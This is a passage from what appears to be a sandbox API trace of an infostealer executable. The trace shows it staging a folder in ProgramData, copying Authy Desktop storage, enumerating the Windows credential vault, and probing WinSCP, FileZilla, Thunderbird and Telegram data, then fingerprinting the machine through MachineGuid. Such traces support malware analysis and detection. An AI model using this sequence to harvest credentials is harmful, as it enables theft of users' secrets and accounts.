(lpPathName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\soft"), lpSecurityAttributes=0x0) returned 0 [0097.876] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111478 | out: hHeap=0x2110000) returned 1 [0097.876] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2111478 [0097.876] CreateDirectoryA (lpPathName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\AuthyNew" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\soft\\authynew"), lpSecurityAttributes=0x0) returned 1 [0097.876] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111478 | out: hHeap=0x2110000) returned 1 [0097.876] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x2111428 [0097.876] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111428, cbMultiByte=20, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 20 [0097.876] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x28) returned 0x2111478 [0097.876] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111428, cbMultiByte=20, lpWideCharStr=0x2111478, cchWideChar=20 | out: lpWideCharStr="files\\Soft\\AuthyNew") returned 20 [0097.876] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x21114a8 [0097.876] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111478 | out: hHeap=0x2110000) returned 1 [0097.876] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111078, cbMultiByte=41, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0097.876] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x52) returned 0x3430070 [0097.876] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111078, cbMultiByte=41, lpWideCharStr=0x3430070, cchWideChar=41 | out: lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213") returned 41 [0097.877] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x21111c0 [0097.877] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430070 | out: hHeap=0x2110000) returned 1 [0097.877] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x8e) returned 0x3430070 [0097.877] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21111c0 | out: hHeap=0x2110000) returned 1 [0097.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x0e฀(", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0097.877] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x3430108 [0097.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x0e฀(", cchWideChar=4, lpMultiByteStr=0x3430108, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x0e?(", lpUsedDefaultChar=0x0) returned 4 [0097.877] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430108 | out: hHeap=0x2110000) returned 1 [0097.877] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x21111c0 [0097.877] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21111c0, cbMultiByte=78, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 78 [0097.877] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x9c) returned 0x2111218 [0097.877] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21111c0, cbMultiByte=78, lpWideCharStr=0x2111218, cchWideChar=78 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Authy Desktop\\Local Storage\\leveldb\\\x0e?(") returned 78 [0097.877] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xa0) returned 0x3430330 [0097.877] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111218 | out: hHeap=0x2110000) returned 1 [0097.877] CopyFileW (lpExistingFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Authy Desktop\\Local Storage\\leveldb\\\x0e?(" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\authy desktop\\local storage\\leveldb\\\x0e?("), lpNewFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\AuthyNew\\\x0e฀(" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\soft\\authynew\\\x0e฀("), bFailIfExists=1) returned 0 [0097.878] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430330 | out: hHeap=0x2110000) returned 1 [0097.878] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21111c0 | out: hHeap=0x2110000) returned 1 [0097.878] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430070 | out: hHeap=0x2110000) returned 1 [0097.878] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21114a8 | out: hHeap=0x2110000) returned 1 [0097.878] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111428 | out: hHeap=0x2110000) returned 1 [0097.878] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0097.878] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21110d0 | out: hHeap=0x2110000) returned 1 [0097.878] GetVersionExA (in: lpVersionInformation=0x19f6b8*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x19f6b8*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0097.882] LoadLibraryA (lpLibFileName="vaultcli.dll") returned 0x6cc80000 [0098.537] GetProcAddress (hModule=0x6cc80000, lpProcName="VaultOpenVault") returned 0x6cc8bc10 [0098.537] GetProcAddress (hModule=0x6cc80000, lpProcName="VaultCloseVault") returned 0x6cc8bc90 [0098.537] GetProcAddress (hModule=0x6cc80000, lpProcName="VaultEnumerateItems") returned 0x6cc8b960 [0098.537] GetProcAddress (hModule=0x6cc80000, lpProcName="VaultGetItem") returned 0x6cc8bb70 [0098.537] GetProcAddress (hModule=0x6cc80000, lpProcName="VaultFree") returned 0x6cc97050 [0098.537] VaultOpenVault () returned 0x0 [0098.539] VaultEnumerateItems () returned 0x0 [0098.539] VaultCloseVault () returned 0x0 [0098.540] FreeLibrary (hLibModule=0x6cc80000) returned 1 [0098.543] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Martin Prikryl\\WinSCP 2\\Configuration", ulOptions=0x0, samDesired=0x1, phkResult=0x19e88c | out: phkResult=0x19e88c*=0x0) returned 0x2 [0098.550] GetUserNameA (in: lpBuffer=0x19f318, pcbBuffer=0x19f314 | out: lpBuffer="RDhJ0CNFevzX", pcbBuffer=0x19f314) returned 1 [0098.595] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x2111428 [0098.595] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x2111478 [0098.595] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111428 | out: hHeap=0x2110000) returned 1 [0098.595] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=66, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 66 [0098.595] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x84) returned 0x3430048 [0098.595] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=66, lpWideCharStr=0x3430048, cchWideChar=66 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\FileZilla\\recentservers.xml") returned 66 [0098.595] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x90) returned 0x21111c0 [0098.595] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0098.595] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\FileZilla\\recentservers.xml" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\filezilla\\recentservers.xml")) returned 0xffffffff [0098.595] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21111c0 | out: hHeap=0x2110000) returned 1 [0098.595] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111478 | out: hHeap=0x2110000) returned 1 [0098.595] SHGetFolderPathA (in: hwnd=0x0, csidl=32794, hToken=0x0, dwFlags=0x0, pszPath=0x19f42c | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0 [0098.596] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", lpString2="\\Thunderbird\\Profiles\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Thunderbird\\Profiles\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Thunderbird\\Profiles\\" [0098.596] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Thunderbird\\Profiles\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Thunderbird\\Profiles\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Thunderbird\\Profiles\\" [0098.596] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Thunderbird\\Profiles\\", lpString2="..\\profiles.ini" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Thunderbird\\Profiles\\..\\profiles.ini") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Thunderbird\\Profiles\\..\\profiles.ini" [0098.596] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Thunderbird\\Profiles\\..\\profiles.ini" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\thunderbird\\profiles.ini")) returned 0xffffffff [0098.596] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2111478 [0098.596] CreateDirectoryA (lpPathName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Telegram" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\telegram"), lpSecurityAttributes=0x0) returned 1 [0098.596] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111478 | out: hHeap=0x2110000) returned 1 [0098.597] GetLastError () returned 0x3 [0098.597] SetLastError (dwErrCode=0x3) [0098.597] GetLastError () returned 0x3 [0098.597] SetLastError (dwErrCode=0x3) [0098.597] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2111478 [0098.597] GetLastError () returned 0x3 [0098.597] SetLastError (dwErrCode=0x3) [0098.597] GetLastError () returned 0x3 [0098.597] SetLastError (dwErrCode=0x3) [0098.597] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x21110d0 [0098.597] GetLastError () returned 0x3 [0098.597] SetLastError (dwErrCode=0x3) [0098.597] GetLastError () returned 0x3 [0098.597] SetLastError (dwErrCode=0x3) [0098.597] GetLastError () returned 0x3 [0098.597] SetLastError (dwErrCode=0x3) [0098.597] GetLastError () returned 0x3 [0098.597] SetLastError (dwErrCode=0x3) [0098.598] GetLastError () returned 0x3 [0098.598] SetLastError (dwErrCode=0x3) [0098.598] GetLastError () returned 0x3 [0098.598] SetLastError (dwErrCode=0x3) [0098.598] GetLastError () returned 0x3 [0098.598] SetLastError (dwErrCode=0x3) [0098.598] GetLastError () returned 0x3 [0098.598] SetLastError (dwErrCode=0x3) [0098.598] GetLastError () returned 0x3 [0098.598] SetLastError (dwErrCode=0x3) [0098.598] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegram Desktop\\\\*", lpFindFileData=0x19f1d8 | out: lpFindFileData=0x19f1d8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0098.598] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21110d0 | out: hHeap=0x2110000) returned 1 [0098.598] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111478 | out: hHeap=0x2110000) returned 1 [0098.598] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2111478 [0098.598] GetLastError () returned 0x3 [0098.599] SetLastError (dwErrCode=0x3) [0098.599] GetLastError () returned 0x3 [0098.599] SetLastError (dwErrCode=0x3) [0098.599] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x21110d0 [0098.599] GetLastError () returned 0x3 [0098.599] SetLastError (dwErrCode=0x3) [0098.599] GetLastError () returned 0x3 [0098.599] SetLastError (dwErrCode=0x3) [0098.599] GetLastError () returned 0x3 [0098.599] SetLastError (dwErrCode=0x3) [0098.599] GetLastError () returned 0x3 [0098.599] SetLastError (dwErrCode=0x3) [0098.599] GetLastError () returned 0x3 [0098.599] SetLastError (dwErrCode=0x3) [0098.599] GetLastError () returned 0x3 [0098.599] SetLastError (dwErrCode=0x3) [0098.599] GetLastError () returned 0x3 [0098.599] SetLastError (dwErrCode=0x3) [0098.599] GetLastError () returned 0x3 [0098.599] SetLastError (dwErrCode=0x3) [0098.600] GetLastError () returned 0x3 [0098.600] SetLastError (dwErrCode=0x3) [0098.600] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegram Desktop\\\\*", lpFindFileData=0x19f1d8 | out: lpFindFileData=0x19f1d8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0098.600] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21110d0 | out: hHeap=0x2110000) returned 1 [0098.600] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111478 | out: hHeap=0x2110000) returned 1 [0098.600] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2111478 [0098.600] GetLastError () returned 0x3 [0098.600] SetLastError (dwErrCode=0x3) [0098.600] GetLastError () returned 0x3 [0098.600] SetLastError (dwErrCode=0x3) [0098.600] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x21110d0 [0098.600] GetLastError () returned 0x3 [0098.600] SetLastError (dwErrCode=0x3) [0098.600] GetLastError () returned 0x3 [0098.600] SetLastError (dwErrCode=0x3) [0098.600] GetLastError () returned 0x3 [0098.600] SetLastError (dwErrCode=0x3) [0098.600] GetLastError () returned 0x3 [0098.600] SetLastError (dwErrCode=0x3) [0098.600] GetLastError () returned 0x3 [0098.600] SetLastError (dwErrCode=0x3) [0098.600] GetLastError () returned 0x3 [0098.601] SetLastError (dwErrCode=0x3) [0098.601] GetLastError () returned 0x3 [0098.601] SetLastError (dwErrCode=0x3) [0098.601] GetLastError () returned 0x3 [0098.601] SetLastError (dwErrCode=0x3) [0098.601] GetLastError () returned 0x3 [0098.601] SetLastError (dwErrCode=0x3) [0098.601] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegram Desktop\\\\*", lpFindFileData=0x19f1d8 | out: lpFindFileData=0x19f1d8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0098.601] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21110d0 | out: hHeap=0x2110000) returned 1 [0098.601] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111478 | out: hHeap=0x2110000) returned 1 [0098.601] DeleteFileA (lpFileName="c" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\c")) returned 0 [0098.601] DeleteFileA (lpFileName="h" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\h")) returned 0 [0098.601] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x21110d0 [0098.601] SetCurrentDirectoryA (lpPathName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213")) returned 1 [0098.602] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21110d0 | out: hHeap=0x2110000) returned 1 [0098.602] CreateFileW (lpFileName="files\\information.txt" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\information.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x19f68c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28 [0098.602] GetFileType (hFile=0x28) returned 0x1 [0098.602] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x19f7b4 | out: lpSystemTimeAsFileTime=0x19f7b4*(dwLowDateTime=0x33762732, dwHighDateTime=0x1d7b3bd)) [0098.602] GetLastError () returned 0x0 [0098.602] SetLastError (dwErrCode=0x0) [0098.602] GetLastError () returned 0x0 [0098.602] SetLastError (dwErrCode=0x0) [0098.602] GetLastError () returned 0x0 [0098.602] SetLastError (dwErrCode=0x0) [0098.603] GetTimeZoneInformation (in: lpTimeZoneInformation=0x4d4e00 | out: lpTimeZoneInformation=0x4d4e00) returned 0x2 [0098.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="W. Europe Standard Time", cchWideChar=-1, lpMultiByteStr=0x4d2ce8, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f72c | out: lpMultiByteStr="W. Europe Standard Time", lpUsedDefaultChar=0x19f72c) returned 24 [0098.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="W. Europe Daylight Time", cchWideChar=-1, lpMultiByteStr=0x4d2d28, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f72c | out: lpMultiByteStr="W. Europe Daylight Time", lpUsedDefaultChar=0x19f72c) returned 24 [0098.603] GetLastError () returned 0x0 [0098.603] SetLastError (dwErrCode=0x0) [0098.603] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x1000) returned 0x2112758 [0098.603] GetLastError () returned 0x0 [0098.603] SetLastError (dwErrCode=0x0) [0098.603] GetLastError () returned 0x0 [0098.603] SetLastError (dwErrCode=0x0) [0098.603] GetLastError () returned 0x0 [0098.604] SetLastError (dwErrCode=0x0) [0098.604] GetLastError () returned 0x0 [0098.604] SetLastError (dwErrCode=0x0) [0098.604] GetLastError () returned 0x0 [0098.604] SetLastError (dwErrCode=0x0) [0098.604] GetLastError () returned 0x0 [0098.604] SetLastError (dwErrCode=0x0) [0098.604] GetLastError () returned 0x0 [0098.604] SetLastError (dwErrCode=0x0) [0098.604] GetLastError () returned 0x0 [0098.604] SetLastError (dwErrCode=0x0) [0098.604] GetLastError () returned 0x0 [0098.604] SetLastError (dwErrCode=0x0) [0098.604] GetLastError () returned 0x0 [0098.604] SetLastError (dwErrCode=0x0) [0098.604] GetLastError () returned 0x0 [0098.604] SetLastError (dwErrCode=0x0) [0098.604] GetLastError () returned 0x0 [0098.604] SetLastError (dwErrCode=0x0) [0098.604] GetLastError () returned 0x0 [0098.604] SetLastError (dwErrCode=0x0) [0098.604] GetLastError () returned 0x0 [0098.605] SetLastError (dwErrCode=0x0) [0098.605] GetLastError () returned 0x0 [0098.605] SetLastError (dwErrCode=0x0) [0098.605] GetLastError () returned 0x0 [0098.605] SetLastError (dwErrCode=0x0) [0098.605] GetLastError () returned 0x0 [0098.605] SetLastError (dwErrCode=0x0) [0098.605] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Cryptography", ulOptions=0x0, samDesired=0x20119, phkResult=0x19f5c0 | out: phkResult=0x19f5c0*=0x2fc) returned 0x0 [0098.605] RegQueryValueExA (in: hKey=0x2fc, lpValueName="MachineGuid", lpReserved=0x0, lpType=0x0, lpData=0x19f5c4, lpcbData=0x19f5bc*=0xff | out: lpType=0x0, lpData=0x19f5c4*=0x30, lpcbData=0x19f5bc*=0x25) returned 0x0 [0098.605] RegCloseKey (hKey=0x2fc) returned 0x0 [0098.606] CharToOemA (in: pSrc="03845cb8-7441-4a2f-8c0f-c90408af5778", pDst=0x19f6c4 | out: pDst="03845cb8-7441-4a2f-8c0f-c90408af5778") returned 1 [0098.606] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x21110d0 [0098.606] GetLastError () returned 0x0 [0098.606] SetLastError (dwErrCode=0x0) [0098.606] GetLastError () returned 0x0 [0098.606] SetLastError (dwErrCode=0x0) [0098.606] GetLastError () returned 0x0 [0098.606] SetLastError (dwErrCode=0x0) [0098.606] GetLastError () returned 0x0 [0098.607] SetLastError (dwErrCode=0x0) [0098.607] GetLastError () returned 0x0 [0098.607] SetLastError (dwErrCode=0x0) [0098.607] GetLastError () returned 0x0 [0098.607] SetLastError (dwErrCode=0x0) [0098.607] GetLastError () returned 0x0 [0098.607] SetLastError (dwErrCode=0x0) [0098.607] GetLastError () returned 0x0 [0098.607] SetLastError (dwErrCode=0x0) [0098.607] GetLastError () returned 0x0 [0098.607] SetLastError (dwErrCode=0x0) [0098.607] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21110d0 | out: hHeap=0x2110000) returned 1 [0098.610] GetCurrentHwProfileA (in: lpHwProfileInfo=0x19f748 | out: lpHwProfileInfo=0x19f748) returned 1 [0098.610] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x21110d0 [0098.610] GetLastError () returned 0x0 [0098.610] SetLastError (dwErrCode=0x0) [0098.611] GetLastError () returned 0x0 [0098.611] SetLastError (dwErrCode=0x0) [0098.611] GetLastError () returned 0x0 [0098.611] SetLastError (dwErrCode=0x0) [0098.611] GetLastError () returned 0x0 [0098.611] SetLastError (dwErrCode=0x0) [0098.611] GetLastError () returned 0x0 [0098.611] SetLastError (dwErrCode=0x0) [0098.611] GetLastError () returned 0x0 [0098.611] SetLastError (dwErrCode=0x0) [0098.611] GetLastError () returned 0x0 [0098.611] SetLastError (dwErrCode=0x0) [0098.611] GetLastError () returned 0x0 [0098.611] SetLastError (dwErrCode=0x0) [0098.611] GetLastError () returned 0x0 [0098.611] SetLastError (dwErrCode=0x0) [0098.611] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21110d0 | out: hHeap=0x2110000) returned 1 [0098.611] GetCurrentHwProfileA (in: lpHwProfileInfo=0x19f688 | out: lpHwProfileInfo=0x19f688) returned 1 [0098.612] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x21110d0 [0098.612] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x2111428 [0098.612] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Cryptography", ulOptions=0x0, samDesired=0x20119, phkResult=0x19f500 | out: phkResult=0x19f500*=0x2fc) returned 0x0 [0098.612] RegQueryValueExA (in: hKey=0x2fc, lpValueName="MachineGuid", lpReserved=0x0, lpType=0x0, lpData=0x19f504, lpcbData=0x19f4fc*=0xff | out: lpType=0x0, lpData=0x19f504*=0x30, lpcbData=0x19f4fc*=0x25) returned 0x0 [0098.612] RegCloseKey (hKey=0x2fc) returned 0x0 [0098.612] CharToOemA (in: pSrc="03845cb8-7441-4a2f-8c0f-c90408af5778", pDst=0x19f604 | out: pDst="03845cb8-7441-4a2f-8c0f-c90408af5778") returned 1 [0098.612] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x2111478 [0098.612] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x21114b0 [0098.612] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x3430048 [0098.612] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21114b0 | out: hHeap=0x2110000) returned 1 [0098.612] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111478 | out: hHeap=0x2110000) returned 1 [0098.612] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111428 | out: hHeap=0x2110000) returned 1 [0098.612] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21110d0 | out: hHeap=0x2110000) returned 1 [0098.612] GetLastError () returned 0x0 [0098.612] SetLastError (dwErrCode=0x0) [0098.612] GetLastError () returned 0x0 [0098.612] SetLastError (dwErrCode=0x0) [0098.612] GetLastError () returned 0x0 [0098.612] SetLastError (dwErrCode=0x0) [0098.613] GetLastError () returned 0x0 [0098.613] SetLastError (dwErrCode=0x0) [0098.613] GetLastError () returned 0x0 [0098.613] SetLastError (dwErrCode=0x0) [0098.613] GetLastError () returned 0x0 [0098.613] SetLastError (dwErrCode=0x0) [0098.613] GetLastError () returned 0x0 [0098.613] SetLastError (dwErrCode=0x0) [0098.613] GetLastError () returned 0x0 [0098.613] SetLastError (dwErrCode=0x0) [0098.613] GetLastError () returned 0x0 [0098.613] SetLastError (dwErrCode=0x0) [0098.613] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0098.613] GetCurrentProcessId () returned 0x11ac [0098.613] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x11ac) returned 0x2fc [0098.613] GetModuleFileNameExA (in: hProcess=0x2fc, hModule=0x0, lpFilename=0x19f6bc, nSize=0x104 | out: lpFilename="C:\\Users\\RDhJ0CNFevzX\\Desktop\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe")) returned 0x62 [0098.614] CloseHandle (hObject=0x2fc) returned 1 [0098.614] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x70) returned 0x3430048 [0098.614] GetLastError () returned 0x0 [0098.614] SetLastError (dwErrCode=0x0) [0098.614] GetLastError () returned 0x0 [0098.614] SetLastError (dwErrCode=0x0) [0098.614] GetLastError () returned 0x0 [0098.614] SetLastError (dwErrCode=0x0) [0098.614] GetLastError () returned 0x0 [0098.614] SetLastError (dwErrCode=0x0) [0098.614] GetLastError () returned 0x0 [0098.614] SetLastError (dwErrCode=0x0) [0098.614] GetLastError () returned 0x0 [0098.614] SetLastError (dwErrCode=0x0) [0098.614] GetLastError () returned 0x0 [0098.615] SetLastError (dwErrCode=0x0) [0098.615] GetLastError () returned 0x0 [0098.615] SetLastError (dwErrCode=0x0) [0098.615] GetLastError () returned 0x0 [0098.615] SetLastError (dwErrCode=0x0) [0098.615] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0098.615] GetLastError () returned 0x0 [0098.615] SetLastError (dwErrCode=0x0) [0098.615] GetLastError () returned 0x0 [0098.615] SetLastError (dwErrCode=0x0) [0098.615] GetLastError () returned 0x0 [0098.615] SetLastError (dwErrCode=0x0) [0098.615] GetLastError () returned 0x0 [0098.615] SetLastError (dwErrCode=0x0) [0098.615] GetLastError () returned 0x0 [0098.615] SetLastError 